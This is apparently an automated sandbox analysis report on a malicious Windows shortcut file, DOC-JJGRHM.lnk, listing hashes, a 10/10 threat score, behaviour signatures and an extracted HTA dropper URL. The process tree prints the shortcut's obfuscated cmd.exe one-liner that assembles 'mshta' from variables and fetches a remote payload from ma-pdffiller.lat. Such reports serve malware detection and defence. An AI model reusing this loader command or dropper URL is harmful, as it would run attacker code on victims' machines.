Analysis
- max time kernel
148s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-JJGRHM.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-JJGRHM.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-JJGRHM.lnk
- Size 1KB
- Sample260804-j8vtbaga75
- SHA256 de9abfb2717d647656b65788820685b4e788f4a19633d484c9e14fc4b6625511
- MD5 a8cb9440d4f21da083de852ef131f2c5
- SHA1 0e37eb01ff191c5e28f5033671c10145a12ee4ac
- SHA512 296b21cf31d400e74e58e6234779b8453ca5dde6a7a106468cbb84d4bb4298adb54ecd5bb28fe7187878a448191c3f9afbf62da03bf151feddb381dfc565ea5e
- TLSH T1BB3124503FED0664F2F38E7794BB572485BEB8AA8D20CA2D4181464C5022A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1208 cmd.exe 4900 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1208 wrote to memory of 4900 1208 cmd.exe 90 PID 4900 wrote to memory of 1164 4900 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JJGRHM.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set FK=msh&&set jijj=ta&&start "" !FK!!jijj! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:1164
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